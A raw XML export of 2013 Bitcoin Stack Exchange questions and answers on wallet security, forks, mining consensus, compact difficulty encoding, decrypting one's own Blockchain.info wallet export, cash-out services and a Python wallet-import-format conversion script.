  <row Id="8038" PostTypeId="2" ParentId="8022" CreationDate="2013-02-28T22:24:43.827" Score="1" Body="&lt;p&gt;From what I understand it comes down to how you feel about security, to have a wallet stored privately means that you run the risk of equipment damage where you'll have to spend time on the recovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand you have the risk on network security, at least 2 exchanges have had high profile thefts occur in past years which have effected the market, exchanges make for big money targets and there's no real way to recover the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think there is likely room for a hybrid solution between the two but I haven't seen anything yet.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2013-02-28T22:24:43.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8039" PostTypeId="2" ParentId="8037" CreationDate="2013-02-28T22:36:46.313" Score="2" Body="&lt;p&gt;Fork means in this context that devs are about to change some fundamental hardcoded rule. This may mean that the part of network which didn't upgraded client to new version will run on one set of rules and another upgraded part of network will run on other set of rules. In general, network fork means inconsistency of whole network.&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2013-02-28T22:36:46.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8040" PostTypeId="2" ParentId="8031" CreationDate="2013-02-28T23:59:26.327" Score="13" Body="&lt;p&gt;Mining provides a way to reach consensus on what the transaction ledger should look like and know that nobody is cheating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the non-technical definition of mining.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/148/153&quot;&gt;What exactly is Mining?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &quot;authority&quot; for double spending is the blockchain.  The blockchain consists of the history of all blocks in the blockchain plus the next block of transactions.  The reward subsidy currently is 25 BTC to the party that submits the next block.  But hey ...you would like that 25 BTC (worth currently about $825) as would I as would everyone else.  So how do you make it so that I can't cheat and claim the block myself?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, you put in a system that you and I have to compete.  That's what the proof of work does -- it makes it so that when I claim the reward it is easy to prove that I really did the work involved.  So for me to have a 2% chance of solving a block I need to put in 2% of of the mining work.  There's no way for me to put in less than 2% of all the work and still solve blocks at least 2% of the time (on average).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus as a result, when a transaction block is submitted, all the peers verify that there were no double spends, that the right amount of subsidy was claimed, and that the submitter truly expended the work necessary for that solution.  With those three rules, then there doesn't not need to be a central authority managing the process or able to control the outcome.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-03-01T08:14:29.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8042" PostTypeId="1" CreationDate="2013-03-01T03:48:17.453" Score="3" ViewCount="178" Body="&lt;p&gt;I'm thinking about how the Target value is truncated to and later compared to the SHA-256hash of the Block Header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The maximum target (lowest possible difficulty) is&#xA;0x00000000FFFF0000000000000000000000000000000000000000000000000000&#xA;and the current target is&#xA;0x00000000000004985C0000000000000000000000000000000000000000000000&#xA;                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (4bits * 32 = 128)  &#xA;                                  This part is always zero due to truncation                              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it simply there to make coding and evaluation easier?&lt;/li&gt;&#xA;&lt;li&gt;Does this make the mining operation faster (more efficient comparisons)? &lt;/li&gt;&#xA;&lt;li&gt;Are the efficiencies of the previous bullet endian-specific?&lt;/li&gt;&#xA;&lt;li&gt;Are there statistical benefits or drawbacks to making it non-zero? (fractionally easier to find a block?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I haven't seen a thoughtful explanation of why the decision was made, and I don't want to infer anything on my own.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2017-04-25T19:54:41.240" LastActivityDate="2017-04-25T19:54:41.240" Title="What was the intended benefit of truncating the Target?" Tags="|mining-hardware|difficulty|block-header|endianness|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8043" PostTypeId="2" ParentId="7971" CreationDate="2013-03-01T03:49:27.833" Score="3" Body="&lt;p&gt;In OTC, it is totally up to the mutual agreement of the two parties, if you are a financial business that has to comply with AML laws, you will have have to ask for these info, but that may mean some counterparties will shun from you.&lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2013-03-01T03:49:27.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8044" PostTypeId="2" ParentId="8042" CreationDate="2013-03-01T04:26:50.493" Score="3" Body="&lt;p&gt;I suspect that the target is truncated so it will not consume too much space in the blockchain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain stores a compact form of the target in a &quot;bits&quot; field that is 4 bytes wide.  This is (significantly) less than 32 bytes (256 bits) representing a SHA256 hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The space savings is exactly 28 bytes per block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As of 2/28/13, a block count of 223693, that's 6,263,404 bytes or roughly 6MB that was saved with this optimization.  This data optimization applies to data-on-disk, and what is sent to miners from pool operators &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="6522" LastEditDate="2013-08-26T15:04:44.993" LastActivityDate="2013-08-26T15:04:44.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8045" PostTypeId="1" AcceptedAnswerId="8046" CreationDate="2013-03-01T04:58:08.170" Score="2" ViewCount="208" Body="&lt;p&gt;I'm trying to convert the JSON-RPC result of a Block's compressed bits property into a C# float with the following constraint&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //3  bytes mantissa, the leading byte as exponent (where only the 5 lowest bits are used) and its base is 256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any sample data I can use to verify my implementation is working?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A JSON-RPC string, and it's corresponding 256-bit output in Big Endian format would be a great help.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-01T06:35:30.177" Title="Looking for unit testing data for Block.Bits to &amp; from a JSON-RPC string" Tags="|json-rpc|c#|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8046" PostTypeId="2" ParentId="8045" CreationDate="2013-03-01T06:35:30.177" Score="3" Body="&lt;p&gt;You're looking for &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/test/bignum_tests.cpp#L126&quot; rel=&quot;nofollow&quot;&gt;bignum_tests.cpp&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOST_AUTO_TEST_CASE(bignum_SetCompact)&#xA;{&#xA;    CBigNum num;&#xA;    num.SetCompact(0);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;0&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0);&#xA;&#xA;    num.SetCompact(0x00123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;0&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0);&#xA;&#xA;    num.SetCompact(0x01123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;12&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x01120000);&#xA;&#xA;    // Make sure that we don't generate compacts with the 0x00800000 bit set&#xA;    num = 0x80;&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x02008000);&#xA;&#xA;    num.SetCompact(0x01fedcba);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;-7e&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x01fe0000);&#xA;&#xA;    num.SetCompact(0x02123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;1234&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x02123400);&#xA;&#xA;    num.SetCompact(0x03123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;123456&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x03123456);&#xA;&#xA;    num.SetCompact(0x04123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;12345600&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x04123456);&#xA;&#xA;    num.SetCompact(0x04923456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;-12345600&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x04923456);&#xA;&#xA;    num.SetCompact(0x05009234);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;92340000&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x05009234);&#xA;&#xA;    num.SetCompact(0x20123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;1234560000000000000000000000000000000000000000000000000000000000&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0x20123456);&#xA;&#xA;    num.SetCompact(0xff123456);&#xA;    BOOST_CHECK_EQUAL(num.GetHex(), &quot;123456000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&quot;);&#xA;    BOOST_CHECK_EQUAL(num.GetCompact(), 0xff123456);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-01T06:35:30.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8047" PostTypeId="1" AcceptedAnswerId="8054" CreationDate="2013-03-01T07:39:38.673" Score="9" ViewCount="2894" Body="&lt;p&gt;Blockchain.info's encrypted wallet format is &lt;a href=&quot;https://blockchain.info/wallet/wallet-format&quot;&gt;described&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AES encrypting the entire JSON payload with the users password which&#xA;  is then encoded as base64. No salt is used for single pass encryption.&#xA;  The exact AES specifications are 10 rounds of PBKDF2, Block Mode CBC&#xA;  ISO10126 padding.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, in trying to verify my own encrypted exports, it seems thats not all the information (or correct). I think part of the issue is in how the user's password is expanded to an input key for the AES/Rijndael cipher.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The input key for AES can be 128, 192, or 256 bits; which is being used?&lt;/li&gt;&#xA;&lt;li&gt;AES has its own &lt;a href=&quot;http://en.wikipedia.org/wiki/Rijndael_key_schedule&quot;&gt;key schedule&lt;/a&gt;, but it seems Blockchain is using something separate, as &quot;PBKDF2&quot; is another key expansion function.&lt;/li&gt;&#xA;&lt;li&gt;PBKDF2 is a methodology that can be used with many types of hashes; which hash is being used?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1698" LastActivityDate="2013-03-01T15:56:40.067" Title="Decrypt Blockchain.info wallet export" Tags="|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8048" PostTypeId="2" ParentId="8032" CreationDate="2013-03-01T08:24:56.347" Score="1" Body="&lt;p&gt;For a standalone cart (no payment processor intermediary) maybe the OSCommerce cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Category:Shopping_Cart_Interfaces&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Category:Shopping_Cart_Interfaces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The most widely used cart though probably is the Wordpress ECommerce cart plugin through BitPay:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitpay&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-01T08:24:56.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8049" PostTypeId="2" ParentId="8030" CreationDate="2013-03-01T08:39:36.067" Score="6" Body="&lt;p&gt;The factors that matter for any cash-out decision are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you located (country)?&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to trade?&lt;/li&gt;&#xA;&lt;li&gt;What type of cash are you looking to receive?&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need access to the proceeds?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the U.S., &lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; might be the simplest -- you can sell up to 100 BTC per day, with a fee of 1% and then from there the USD proceeds are redeemed to your bank.  But that is a cash-out method using the banking system, so it is not anonymous or even close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other popular methods include &lt;a href=&quot;https://FastCash4Bitcoins.com&quot; rel=&quot;nofollow&quot;&gt;FastCash4Bitcoins.com&lt;/a&gt; (now &lt;a href=&quot;https://BitSimple.com&quot; rel=&quot;nofollow&quot;&gt;BitSimple.com&lt;/a&gt;), which can cash out to your PayPal, Dwolla, ACH (Direct Deposit), Bank Wire, Check, bank wire, or silver bullion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For privacy, you might consider LocalBitcoins, in which a local cash transaction occurs, face-to-face.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are dozens of cash-out methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="307" LastEditDate="2014-08-21T23:06:16.943" LastActivityDate="2014-08-21T23:06:16.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8050" PostTypeId="2" ParentId="8047" CreationDate="2013-03-01T08:59:35.040" Score="3" Body="&lt;p&gt;While I don't have a &lt;em&gt;direct&lt;/em&gt; answer to your questions, I guess you can find those looking at the source of &lt;a href=&quot;https://bitbucket.org/lohoris/mywallet-restore&quot; rel=&quot;nofollow&quot;&gt;the restore script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-01T08:59:35.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8051" PostTypeId="2" ParentId="8022" CreationDate="2013-03-01T11:08:19.010" Score="1" Body="&lt;p&gt;It is the trade-off between security (as Sly has elaborated) and flexibility to convert BTC into hard (cough!) currencies.&#xA;Say you are some miner from the old days and keeping some thousand BTCs somewhere in your private wallet maybe you want to buy a nice car and you need $30,000 you could go to mtgox (or any other exchange) and sell these 1000 BTCs and retrieving the money (several limitations apply)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On volatile BTC exchange rates you may want to sell &lt;strong&gt;immediately&lt;/strong&gt; however the transfer from your private wallet to the exchange account takes some time (around some hours(!) sometimes), maybe the rate has dropped already and you do not want to sell anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are buying this flexibility with the risk of a compromised account or a hacked website (MtGox was already hacked in the past,though no user bitcoin accounts we stolen ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So keep a strategy how and where to transfer your BTCs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually hold only a limited amount outside my private wallets These are the BTCs I want to sell&lt;/p&gt;&#xA;" OwnerUserId="903" LastActivityDate="2013-03-01T11:08:19.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8052" PostTypeId="2" ParentId="8028" CreationDate="2013-03-01T11:34:03.107" Score="1" Body="&lt;p&gt;You do not need to specify the difficulty to determine the hashrate:&#xA;It is independent from difficulty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you mean the probability to find a Block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of profitability calculators out there, try this one for example:&#xA;&lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="903" LastEditDate="2013-03-02T08:30:50.557" LastActivityDate="2013-03-02T08:30:50.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8053" PostTypeId="2" ParentId="8027" CreationDate="2013-03-01T13:27:16.807" Score="2" Body="&lt;p&gt;Yes, a share hash is a hash of a bitcoin block. Some of them are above the bitcoin network difficulty which means the block is valid. Most are not, and can only be used to show that you are mining (and at what rate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data being hashed is the block header. The block header contains the merkle root which is created from the transactions. The transactions are not part of the block header. A bitcoin block is the header plus the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the GBT (getblocktemplate) mining protocol you do get all the data, including transactions. This could be used to try and detect if the pool is doing something bad. It could also be used as you say to let the user see the transactions he or she is including in blocks. With GBT there is even the possibility for the miner to remove or add transactions, if supported by the pool. Most of this is still not implemented by miners and pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stratum had an extension to allow you to fetch the transactions for the block you are currently mining. I'm not sure if any pools support it, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far Stratum seems most popular, probably due to its efficiency (low bandwidth usage and fast block changes). GBT, which aims for the transparency you are talking about, has a lot more overhead.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-01T13:27:16.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8054" PostTypeId="2" ParentId="8047" CreationDate="2013-03-01T15:33:47.080" Score="7" Body="&lt;p&gt;Okay, so after investigating the provided &lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot;&gt;restore tool&lt;/a&gt; (thanks Lohoris for pointing it out!), I arrived at the following answers to my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The input key for the AES decryption is 32 bytes (256 bits)&lt;/li&gt;&#xA;&lt;li&gt;The block size used is 16 bytes (&lt;code&gt;MCRYPT_RIJNDAEL_128&lt;/code&gt; for &lt;a href=&quot;http://php.net/mcrypt&quot;&gt;PHP mcrypt&lt;/a&gt; functions)&lt;/li&gt;&#xA;&lt;li&gt;The initialization vector (IV) for the AES decryption is the first 16 bytes (one block size) of the encrypted string. The remaining encrypted string is the encrypted message.&lt;/li&gt;&#xA;&lt;li&gt;The user's password is expanded by using 10 rounds of PBKDF2 hashing, using SHA1 hashing, &lt;strong&gt;and the IV as salt&lt;/strong&gt; (the &quot;No salt is used for single pass encryption&quot; note seems to just mean no salt for the AES encryption. For the PBKDF2 hashing, there is a salt).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note, if using PHP &lt;code&gt;mcrypt&lt;/code&gt; extension functions (like I was trying to), you need to use the &lt;code&gt;mdecrypt_generic()&lt;/code&gt; method rather than &lt;code&gt;mcrypt_decrypt()&lt;/code&gt;, since Blockchain using ISO10126 padding, and the &lt;code&gt;mcrypt&lt;/code&gt; extension will only use &quot;zero padding&quot;. You then have to un-pad the result separately.&lt;/p&gt;&#xA;" OwnerUserId="1698" LastEditorUserId="1698" LastEditDate="2013-03-01T15:56:40.067" LastActivityDate="2013-03-01T15:56:40.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8055" PostTypeId="1" CreationDate="2013-03-01T17:21:58.987" Score="-1" ViewCount="703" Body="&lt;p&gt;Could someone explain to me how the bitcoin transaction scripts work?How to build custom scripts?&#xA;Also please explain the data structure of transactions as specified by the bitcoin protocol? How to collect unconfirmed transactions to start mining, what is protocol API for writing python scripts to collect transactions, generate blocks, build transactions and other necessary information to build a bitcoin client from scratch?&lt;/p&gt;&#xA;" OwnerUserId="3117" LastActivityDate="2013-03-01T19:41:03.037" Title="Bitcoin Transaction Scripts" Tags="|transactions|blockchain|protocol|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8056" PostTypeId="2" ParentId="8055" CreationDate="2013-03-01T19:41:03.037" Score="1" Body="&lt;p&gt;A client for transactional purposes can have less capabilities than a client that also will perform the tasks needed to support mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lightweight client to review might be &lt;a href=&quot;https://github.com/jgarzik/picocoin&quot; rel=&quot;nofollow&quot;&gt;picocoin&lt;/a&gt;, &quot;a tiny bitcoin library, with lightweight client and utils&quot;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-01T19:41:03.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8057" PostTypeId="1" AcceptedAnswerId="8061" CreationDate="2013-03-01T20:13:21.620" Score="23" ViewCount="31678" Body="&lt;p&gt;I have made paper wallets. And I continually send what bitcoins I get to them. I'm paranoid that I've been sending bitcoins to the paper bitcoin addresses where somehow at sometime my saved private keys got corrupted. So from time to time I want to run a script, python or whatever, to check if my private keys do correspond to the public address that I've been sending bitcoins to. I want an offline solution so things like the satoshi client would not do. Is there a small script written by someone that can solve this?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2021-06-23T01:38:12.040" Title="How do I get the public bitcoin address from a given private key in wallet import format offline?" Tags="|wallet|private-key|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8058" PostTypeId="2" ParentId="4172" CreationDate="2013-03-01T22:08:20.810" Score="1" Body="&lt;p&gt;Suppose people raise bitcoin prices they're charging for goods and services.  They'll be asking for more bitcoins than their customers have, because the supply of bitcoins is limited.  Rather than people generally paying more for stuff, they'll just buy less stuff at higher prices, or pay for it with other currencies since they just don't have the bitcoins.  If they ask their employers who pay them in bitcoins for higher pay in bitcoins, the employers just won't have enough bitcoins either, so their employees will leave them for lack of pay unless they get paid in other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;inflation&quot; as I usually think of it, the merchants get the higher prices they're asking for and the employees get the higher wages they're asking for.  With general price increases in bitcoins, that couldn't happen because the bitcoins needed to pay those amounts wouldn't exist.  Is that &quot;inflation&quot;?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-03-01T22:08:20.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8059" PostTypeId="1" AcceptedAnswerId="8066" CreationDate="2013-03-02T03:08:25.590" Score="3" ViewCount="511" Body="&lt;p&gt;Why did anyone ever release bitcoin mining code, aside from promoting bitcoin and eventually raising investor awareness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at a price chart, bitcoins were valued at just a fraction of a dollar until it was better explained to people. Was this because&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) a lack of trust in fiat currencies during a recession, or&lt;br&gt;&#xA; b) release of mining code solely to get bitcoins to have any value in the collective at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was the global liquidity crisis and recession merely coincidence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious because bitcoins have offered a really great return for people that were mining before the promotions or at other points in time.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="5406" LastEditDate="2016-04-01T09:17:48.673" LastActivityDate="2016-04-01T09:17:48.673" Title="Why did bitcoin programmers release mining code?" Tags="|exchanges|value|mining-software|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8060" PostTypeId="2" ParentId="5843" CreationDate="2013-03-02T03:45:29.487" Score="1" Body="&lt;p&gt;Bitcoin-Tool is new, might be something useful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mb300sd/Bitcoin-Tool/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mb300sd/Bitcoin-Tool/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-02T03:45:29.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8061" PostTypeId="2" ParentId="8057" CreationDate="2013-03-02T03:57:39.953" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://github.com/grondilu/bitcoin-bash-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin-bash-tools&lt;/a&gt; has what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Python, numtowif() below, from a &lt;a href=&quot;http://bitcointalk.org/index.php?topic=84238.msg1205204#msg1205204&quot; rel=&quot;nofollow noreferrer&quot;&gt;post by forum user&lt;/a&gt; flatfly, does that as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib, binascii&#xA;&#xA;t='123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;&#xA;def numtowif(numpriv):&#xA; step1 = '80'+hex(numpriv)[2:].strip('L').zfill(64)&#xA; step2 = hashlib.sha256(binascii.unhexlify(step1)).hexdigest()&#xA; step3 = hashlib.sha256(binascii.unhexlify(step2)).hexdigest()&#xA; step4 = int(step1 + step3[:8] , 16)&#xA; return ''.join([t[step4/(58**l)%58] for l in range(100)])[::-1].lstrip('1')&#xA;&#xA;def wiftonum(wifpriv):&#xA; return sum([t.index(wifpriv[::-1][l])*(58**l) for l in range(len(wifpriv))])/(2**32)%(2**256)&#xA;&#xA;def validwif(wifpriv):&#xA; return numtowif(wiftonum(wifpriv))==wifpriv&#xA;&#xA;print numtowif(0x0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D)&#xA;print hex(wiftonum('5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ'))&#xA;print validwif('5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ')&#xA;print validwif('5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTK')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, Armory client has some C++ that can be compiled and easily &lt;a href=&quot;http://bitcointalk.org/index.php?topic=52314.msg931524#msg931524&quot; rel=&quot;nofollow noreferrer&quot;&gt;accessed from Python&lt;/a&gt; which provides this.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="66162" LastEditDate="2017-11-29T15:35:42.310" LastActivityDate="2017-11-29T15:35:42.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8062" PostTypeId="1" CreationDate="2013-03-02T04:14:54.030" Score="1" ViewCount="135" Body="&lt;p&gt;I'm trying to understand who sees Bitcoin as competition to their main product.  For example, I've heard that Bitcoin competes with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Swiss numbered bank accounts &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deflationary PMs (precious metals)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Money transfers like Western Union, Paypal, SWIFT&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What other businesses or &quot;thing&quot; does Bitcoin compete with?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2013-03-02T04:20:24.507" LastActivityDate="2013-03-03T12:57:13.483" Title="What existing businesses or products does Bitcoin compete with?" Tags="|alternatives|paypal|business|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
